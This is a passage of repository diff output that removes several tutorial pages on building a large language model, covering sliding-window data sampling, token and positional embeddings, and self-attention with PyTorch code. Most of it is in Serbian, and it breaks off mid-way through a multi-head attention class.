<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
3. **Resulting Input and Target Arrays:**
- **Input:**
```python
[
["Lorem", "ipsum", "dolor", "sit"],
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
]
```
- **Target:**
```python
[
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
["amet,", "consectetur", "adipiscing", "elit."],
]
```
**Visual Representation**
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
**Sliding Window with Stride 1:**
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
**Understanding Stride**
- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated.
- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances.
- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences.
**Example with Stride of 2:**
Using the same tokenized text and `max_length` of 4:
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
## Code Example
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download the text to pre-train the LLM
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
"""
Create a class that will receive some params lie tokenizer and text
and will prepare the input chunks and the target chunks to prepare
the LLM to learn which next token to generate
"""
import torch
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
"""
Create a data loader which given the text and some params will
prepare the inputs and targets with the previous class and
then create a torch DataLoader with the info
"""
import tiktoken
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True,
num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset,
batch_size=batch_size,
shuffle=shuffle,
drop_last=drop_last,
num_workers=num_workers
)
return dataloader
"""
Finally, create the data loader with the params we want:
- The used text for training
- batch_size: The size of each batch
- max_length: The size of each entry on each batch
- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated.
- shuffle: Re-order randomly
"""
dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=4, stride=1, shuffle=False
)
data_iter = iter(dataloader)
first_batch = next(data_iter)
print(first_batch)
# Note the batch_size of 8, the max_length of 4 and the stride of 1
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257],
[10899, 2138, 257, 7026]])
]
# With stride=4 this will be the result:
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 1807, 3619, 402, 271],
[10899, 2138, 257, 7026],
[15632, 438, 2016, 257],
[ 922, 5891, 1576, 438],
[ 568, 340, 373, 645],
[ 1049, 5975, 284, 502],
[ 284, 3285, 326, 11]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 3619, 402, 271, 10899],
[ 2138, 257, 7026, 15632],
[ 438, 2016, 257, 922],
[ 5891, 1576, 438, 568],
[ 340, 373, 645, 1049],
[ 5975, 284, 502, 284],
[ 3285, 326, 11, 287]])
]
```
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,203 +0,0 @@
# 3. Token Embeddings
## Token Embeddings
Nakon tokenizacije tekstualnih podataka, sledeći kritični korak u pripremi podataka za obuku velikih jezičkih modela (LLMs) poput GPT-a je kreiranje **token embeddings**. Token embeddings transformišu diskretne tokene (kao što su reči ili podreči) u kontinuirane numeričke vektore koje model može obraditi i iz kojih može učiti. Ovo objašnjenje razlaže token embeddings, njihovu inicijalizaciju, upotrebu i ulogu pozicionih embeddings u poboljšanju razumevanja modela o sekvencama tokena.
> [!TIP]
> Cilj ove treće faze je vrlo jednostavan: **Dodeliti svakom od prethodnih tokena u rečniku vektor željenih dimenzija za obuku modela.** Svaka reč u rečniku će imati tačku u prostoru X dimenzija.\
> Imajte na umu da je inicijalno pozicija svake reči u prostoru jednostavno "nasumično" inicijalizovana i te pozicije su parametri koji se mogu obučavati (biće poboljšani tokom obuke).
>
> Štaviše, tokom token embedding **stvara se još jedan sloj embeddings** koji predstavlja (u ovom slučaju) **apsolutnu poziciju reči u rečenici za obuku**. Na ovaj način, reč na različitim pozicijama u rečenici će imati različitu reprezentaciju (značenje).
### **Šta su Token Embeddings?**
**Token Embeddings** su numeričke reprezentacije tokena u kontinuiranom vektorskom prostoru. Svaki token u rečniku je povezan sa jedinstvenim vektorom fiksnih dimenzija. Ovi vektori hvataju semantičke i sintaktičke informacije o tokenima, omogućavajući modelu da razume odnose i obrasce u podacima.
- **Veličina rečnika:** Ukupan broj jedinstvenih tokena (npr. reči, podreči) u rečniku modela.
- **Dimenzije embeddings:** Broj numeričkih vrednosti (dimenzija) u vektoru svakog tokena. Veće dimenzije mogu uhvatiti suptilnije informacije, ali zahtevaju više računarskih resursa.
**Primer:**
- **Veličina rečnika:** 6 tokena \[1, 2, 3, 4, 5, 6]
- **Dimenzije embeddings:** 3 (x, y, z)
### **Inicijalizacija Token Embeddings**
Na početku obuke, token embeddings se obično inicijalizuju sa malim nasumičnim vrednostima. Ove inicijalne vrednosti se prilagođavaju (fino podešavaju) tokom obuke kako bi bolje predstavljale značenja tokena na osnovu podataka za obuku.
**PyTorch Primer:**
```python
import torch
# Set a random seed for reproducibility
torch.manual_seed(123)
# Create an embedding layer with 6 tokens and 3 dimensions
embedding_layer = torch.nn.Embedding(6, 3)
# Display the initial weights (embeddings)
print(embedding_layer.weight)
```
**Izlaz:**
```lua
luaCopy codeParameter containing:
tensor([[ 0.3374, -0.1778, -0.1690],
[ 0.9178, 1.5810, 1.3010],
[ 1.2753, -0.2010, -0.1606],
[-0.4015, 0.9666, -1.1481],
[-1.1589, 0.3255, -0.6315],
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
```
**Objašnjenje:**
- Svaki red odgovara tokenu u rečniku.
- Svaka kolona predstavlja dimenziju u vektoru ugradnje.
- Na primer, token na indeksu `3` ima vektor ugradnje `[-0.4015, 0.9666, -1.1481]`.
**Pristupanje ugradnji tokena:**
```python
# Retrieve the embedding for the token at index 3
token_index = torch.tensor([3])
print(embedding_layer(token_index))
```
**Izlaz:**
```lua
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
```
**Interpretacija:**
- Token na indeksu `3` je predstavljen vektorom `[-0.4015, 0.9666, -1.1481]`.
- Ove vrednosti su parametri koji se mogu obučavati i koje će model prilagoditi tokom obuke kako bi bolje predstavio kontekst i značenje tokena.
### **Kako Token Embeddings Funkcionišu Tokom Obuke**
Tokom obuke, svaki token u ulaznim podacima se konvertuje u svoj odgovarajući embedding vektor. Ovi vektori se zatim koriste u raznim proračunima unutar modela, kao što su mehanizmi pažnje i slojevi neuronskih mreža.
**Primer Scenarija:**
- **Veličina Batching-a:** 8 (broj uzoraka obrađenih simultano)
- **Maksimalna Dužina Sekvence:** 4 (broj tokena po uzorku)
- **Dimenzije Embedding-a:** 256
**Struktura Podataka:**
- Svaki batch je predstavljen kao 3D tenzor sa oblikom `(batch_size, max_length, embedding_dim)`.
- Za naš primer, oblik bi bio `(8, 4, 256)`.
**Vizualizacija:**
```css
cssCopy codeBatch
┌─────────────┐
│ Sample 1 │
│ ┌─────┐ │
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ Sample 2 │
│ ┌─────┐ │
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ ... │
│ Sample 8 │
│ ┌─────┐ │
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
└─────────────┘
```
**Objašnjenje:**
- Svaki token u sekvenci je predstavljen 256-dimenzionalnim vektorom.
- Model obrađuje ove ugradnje kako bi naučio jezičke obrasce i generisao predikcije.
## **Pozicijske Ugradnje: Dodavanje Konteksta U Ugradnje Tokena**
Dok ugradnje tokena hvataju značenje pojedinačnih tokena, one inherentno ne kodiraju poziciju tokena unutar sekvence. Razumevanje reda tokena je ključno za razumevanje jezika. Tu dolaze u obzir **pozicijske ugradnje**.
### **Zašto su potrebne pozicijske ugradnje:**
- **Redosled tokena je bitan:** U rečenicama, značenje često zavisi od reda reči. Na primer, "Mačka je sedela na prostirci" naspram "Prostirka je sedela na mački."
- **Ograničenje ugradnje:** Bez pozicijskih informacija, model tretira tokene kao "kesu reči," ignorišući njihov redosled.
### **Tipovi pozicijskih ugradnji:**
1. **Apsolutne pozicijske ugradnje:**
- Dodeljuju jedinstveni pozicioni vektor svakoj poziciji u sekvenci.
- **Primer:** Prvi token u bilo kojoj sekvenci ima istu pozicijsku ugradnju, drugi token ima drugu, i tako dalje.
- **Koriste:** OpenAI-ovi GPT modeli.
2. **Relativne pozicijske ugradnje:**
- Kodiraju relativnu udaljenost između tokena umesto njihovih apsolutnih pozicija.
- **Primer:** Ukazuju koliko su dva tokena udaljena, bez obzira na njihove apsolutne pozicije u sekvenci.
- **Koriste:** Modeli poput Transformer-XL i neki varijante BERT-a.
### **Kako se pozicijske ugradnje integrišu:**
- **Iste dimenzije:** Pozicijske ugradnje imaju istu dimenzionalnost kao ugradnje tokena.
- **Sabiranje:** One se dodaju ugradnjama tokena, kombinujući identitet tokena sa pozicijskim informacijama bez povećanja ukupne dimenzionalnosti.
**Primer dodavanja pozicijskih ugradnji:**
Pretpostavimo da je vektor ugradnje tokena `[0.5, -0.2, 0.1]` i njegov vektor pozicijske ugradnje `[0.1, 0.3, -0.1]`. Kombinovana ugradnja koju koristi model bi bila:
```css
Combined Embedding = Token Embedding + Positional Embedding
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
= [0.6, 0.1, 0.0]
```
**Prednosti pozicionih ugradnji:**
- **Svest o kontekstu:** Model može da razlikuje tokene na osnovu njihovih pozicija.
- **Razumevanje sekvenci:** Omogućava modelu da razume gramatiku, sintaksu i značenja zavisna od konteksta.
## Primer koda
Sledeći primer koda iz [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Use previous code...
# Create dimensional emdeddings
"""
BPE uses a vocabulary of 50257 words
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
"""
vocab_size = 50257
output_dim = 256
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
## Generate the dataloader like before
max_length = 4
dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=max_length,
stride=max_length, shuffle=False
)
data_iter = iter(dataloader)
inputs, targets = next(data_iter)
# Apply embeddings
token_embeddings = token_embedding_layer(inputs)
print(token_embeddings.shape)
torch.Size([8, 4, 256]) # 8 x 4 x 256
# Generate absolute embeddings
context_length = max_length
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
input_embeddings = token_embeddings + pos_embeddings
print(input_embeddings.shape) # torch.Size([8, 4, 256])
```
## Reference
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,416 +0,0 @@
# 4. Mehanizmi pažnje
## Mehanizmi pažnje i samopažnja u neuronskim mrežama
Mehanizmi pažnje omogućavaju neuronskim mrežama da **fokusiraju na specifične delove ulaza prilikom generisanja svakog dela izlaza**. Dodeljuju različite težine različitim ulazima, pomažući modelu da odluči koji su ulazi najrelevantniji za zadatak koji se obavlja. Ovo je ključno u zadacima poput mašinskog prevođenja, gde je razumevanje konteksta cele rečenice neophodno za tačan prevod.
> [!TIP]
> Cilj ove četvrte faze je vrlo jednostavan: **Primeni neke mehanizme pažnje**. Ovi mehanizmi će biti mnogo **ponovljenih slojeva** koji će **uhvatiti odnos reči u rečniku sa njenim susedima u trenutnoj rečenici koja se koristi za obuku LLM-a**.\
> Za ovo se koristi mnogo slojeva, tako da će mnogo parametara za obuku uhvatiti ove informacije.
### Razumevanje mehanizama pažnje
U tradicionalnim modelima sekvenca-za-sekvencu koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektorski kontekst fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektorski kontekst možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
#### Primer: Mašinsko prevođenje
Razmotrite prevođenje nemačke rečenice "Kannst du mir helfen diesen Satz zu übersetzen" na engleski. Prevod reč po reč ne bi proizveo gramatički ispravnu englesku rečenicu zbog razlika u gramatičkim strukturama između jezika. Mehanizam pažnje omogućava modelu da se fokusira na relevantne delove ulazne rečenice prilikom generisanja svake reči izlazne rečenice, što dovodi do tačnijeg i koherentnijeg prevoda.
### Uvod u samopažnju
Samopažnja, ili intra-pažnja, je mehanizam gde se pažnja primenjuje unutar jedne sekvence kako bi se izračunala reprezentacija te sekvence. Omogućava svakom tokenu u sekvenci da obraća pažnju na sve druge tokene, pomažući modelu da uhvati zavisnosti između tokena bez obzira na njihovu udaljenost u sekvenci.
#### Ključni koncepti
- **Tokeni**: Pojedinačni elementi ulazne sekvence (npr. reči u rečenici).
- **Umetanja**: Vektorske reprezentacije tokena, koje hvataju semantičke informacije.
- **Težine pažnje**: Vrednosti koje određuju važnost svakog tokena u odnosu na druge.
### Izračunavanje težina pažnje: Primer korak po korak
Razmotrimo rečenicu **"Hello shiny sun!"** i predstavimo svaku reč sa 3-dimenzionalnim umetanjima:
- **Hello**: `[0.34, 0.22, 0.54]`
- **shiny**: `[0.53, 0.34, 0.98]`
- **sun**: `[0.29, 0.54, 0.93]`
Naš cilj je da izračunamo **vektor konteksta** za reč **"shiny"** koristeći samopažnju.
#### Korak 1: Izračunavanje rezultata pažnje
> [!TIP]
> Samo pomnožite svaku dimenzionalnu vrednost upita sa relevantnom vrednošću svakog tokena i saberite rezultate. Dobijate 1 vrednost po paru tokena.
Za svaku reč u rečenici, izračunajte **rezultat pažnje** u odnosu na "shiny" izračunavanjem skalarne produkcije njihovih umetanja.
**Rezultat pažnje između "Hello" i "shiny"**
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Rezultat pažnje između "shiny" i "shiny"**
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Rezultat pažnje između "sun" i "shiny"**
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Korak 2: Normalizacija rezultata pažnje da bi se dobile težine pažnje
> [!TIP]
> Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **ukupno sumiraju 1**.
>
> Pored toga, **softmax** funkcija se koristi jer naglašava razlike zbog eksponencijalnog dela, olakšavajući prepoznavanje korisnih vrednosti.
Primeni **softmax funkciju** na rezultate pažnje da bi ih pretvorio u težine pažnje koje sumiraju 1.
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Izračunavanje eksponencijala:
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Izračunavanje sume:
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Izračunavanje težina pažnje:
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Korak 3: Izračunavanje vektora konteksta
> [!TIP]
> Samo uzmite svaku težinu pažnje i pomnožite je sa dimenzijama povezanog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (vektor konteksta)
**Vektor konteksta** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
Izračunavanje svake komponente:
- **Ponderisano umetanje "Hello"**:
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **Ponderisano umetanje "shiny"**:
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **Ponderisano umetanje "sun"**:
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
Saberanje ponderisanih umetanja:
`vektor konteksta=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
**Ovaj vektor konteksta predstavlja obogaćeno umetanje za reč "shiny", uključujući informacije iz svih reči u rečenici.**
### Sažetak procesa
1. **Izračunajte rezultate pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
2. **Normalizujte rezultate da dobijete težine pažnje**: Primeni softmax funkciju na rezultate pažnje da dobijete težine koje sumiraju 1.
3. **Izračunajte vektor konteksta**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
## Samopažnja sa težinama koje se mogu obučavati
U praksi, mehanizmi samopažnje koriste **težine koje se mogu obučavati** da nauče najbolje reprezentacije za upite, ključeve i vrednosti. Ovo uključuje uvođenje tri matrice težina:
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
Upit je podatak koji se koristi kao i ranije, dok su matrice ključeva i vrednosti samo nasumične matrice koje se mogu obučavati.
#### Korak 1: Izračunavanje upita, ključeva i vrednosti
Svaki token će imati svoju matricu upita, ključeva i vrednosti množenjem svojih dimenzionalnih vrednosti sa definisanim matricama:
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
Ove matrice transformišu originalna umetanja u novi prostor pogodan za izračunavanje pažnje.
**Primer**
Pretpostavljajući:
- Ulazna dimenzija `din=3` (veličina umetanja)
- Izlazna dimenzija `dout=2` (željena dimenzija za upite, ključeve i vrednosti)
Inicijalizujte matrice težina:
```python
import torch.nn as nn
d_in = 3
d_out = 2
W_query = nn.Parameter(torch.rand(d_in, d_out))
W_key = nn.Parameter(torch.rand(d_in, d_out))
W_value = nn.Parameter(torch.rand(d_in, d_out))
```
Izračunajte upite, ključeve i vrednosti:
```python
queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value)
```
#### Korak 2: Izračunavanje skalirane dot-produkta pažnje
**Izračunavanje ocena pažnje**
Slično prethodnom primeru, ali ovoga puta, umesto korišćenja vrednosti dimenzija tokena, koristimo ključnu matricu tokena (već izračunatu koristeći dimenzije):. Dakle, za svaku upit `qi` i ključ `kj`:
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
**Skaliranje ocena**
Da bismo sprečili da dot proizvodi postanu preveliki, skaliramo ih kvadratnim korenom dimenzije ključa `dk`:
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
> [!TIP]
> Ocena se deli kvadratnim korenom dimenzija jer dot proizvodi mogu postati veoma veliki i ovo pomaže da se regulišu.
**Primena Softmax-a za dobijanje težina pažnje:** Kao u inicijalnom primeru, normalizujte sve vrednosti tako da se saberu na 1.
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### Korak 3: Izračunavanje kontekstualnih vektora
Kao u inicijalnom primeru, samo saberite sve matrice vrednosti množeći svaku sa svojom težinom pažnje:
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
### Primer koda
Uzimajući primer sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) možete proveriti ovu klasu koja implementira funkcionalnost samopaznje o kojoj smo govorili:
```python
import torch
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
import torch.nn as nn
class SelfAttention_v2(nn.Module):
def __init__(self, d_in, d_out, qkv_bias=False):
super().__init__()
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
def forward(self, x):
keys = self.W_key(x)
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.T
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
context_vec = attn_weights @ values
return context_vec
d_in=3
d_out=2
torch.manual_seed(789)
sa_v2 = SelfAttention_v2(d_in, d_out)
print(sa_v2(inputs))
```
> [!NOTE]
> Imajte na umu da se umesto inicijalizacije matrica nasumičnim vrednostima, koristi `nn.Linear` da označi sve težine kao parametre za obuku.
## Uzročna Pažnja: Sakrivanje Budućih Reči
Za LLM-ove želimo da model uzima u obzir samo tokene koji se pojavljuju pre trenutne pozicije kako bi **predvideo sledeći token**. **Uzročna pažnja**, takođe poznata kao **maskirana pažnja**, to postiže modifikovanjem mehanizma pažnje kako bi se sprečio pristup budućim tokenima.
### Primena Maski Uzročne Pažnje
Da bismo implementirali uzročnu pažnju, primenjujemo masku na rezultate pažnje **pre softmax operacije** tako da preostali rezultati i dalje sumiraju 1. Ova maska postavlja rezultate pažnje budućih tokena na negativnu beskonačnost, osiguravajući da nakon softmax-a, njihove težine pažnje budu nula.
**Koraci**
1. **Izračunavanje Rezultata Pažnje**: Isto kao i pre.
2. **Primena Maske**: Koristite gornju trougaastu matricu ispunjenu negativnom beskonačnošću iznad dijagonale.
```python
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
masked_scores = attention_scores + mask
```
3. **Primena Softmax-a**: Izračunajte težine pažnje koristeći maskirane rezultate.
```python
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### Maskiranje Dodatnih Težina Pažnje sa Dropout-om
Da bismo **sprečili prekomerno prilagođavanje**, možemo primeniti **dropout** na težine pažnje nakon softmax operacije. Dropout **nasumično postavlja neke od težina pažnje na nulu** tokom obuke.
```python
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
```
Redovni dropout je oko 10-20%.
### Code Example
Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
```python
import torch
import torch.nn as nn
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
batch = torch.stack((inputs, inputs), dim=0)
print(batch.shape)
class CausalAttention(nn.Module):
def __init__(self, d_in, d_out, context_length,
dropout, qkv_bias=False):
super().__init__()
self.d_out = d_out
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
keys = self.W_key(x) # This generates the keys of the tokens
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
attn_scores.masked_fill_( # New, _ ops are in-place
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
attn_weights = torch.softmax(
attn_scores / keys.shape[-1]**0.5, dim=-1
)
attn_weights = self.dropout(attn_weights)
context_vec = attn_weights @ values
return context_vec
torch.manual_seed(123)
context_length = batch.shape[1]
d_in = 3
d_out = 2
ca = CausalAttention(d_in, d_out, context_length, 0.0)
context_vecs = ca(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
## Proširenje jedne glave pažnje na više glava pažnje
**Višeglava pažnja** u praktičnom smislu se sastoji od izvršavanja **više instanci** funkcije samopaznje, svaka sa **svojim težinama**, tako da se izračunavaju različiti konačni vektori.
### Primer koda
Moguće je ponovo koristiti prethodni kod i samo dodati omotač koji ga pokreće nekoliko puta, ali ovo je optimizovana verzija iz [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) koja obrađuje sve glave u isto vreme (smanjujući broj skupih for petlji). Kao što možete videti u kodu, dimenzije svake oznake su podeljene u različite dimenzije u skladu sa brojem glava. Na ovaj način, ako oznaka ima 8 dimenzija i želimo da koristimo 3 glave, dimenzije će biti podeljene u 2 niza od 4 dimenzije, a svaka glava će koristiti jedan od njih:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert (d_out % num_heads == 0), \
"d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer(
"mask",
torch.triu(torch.ones(context_length, context_length),
diagonal=1)
)
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
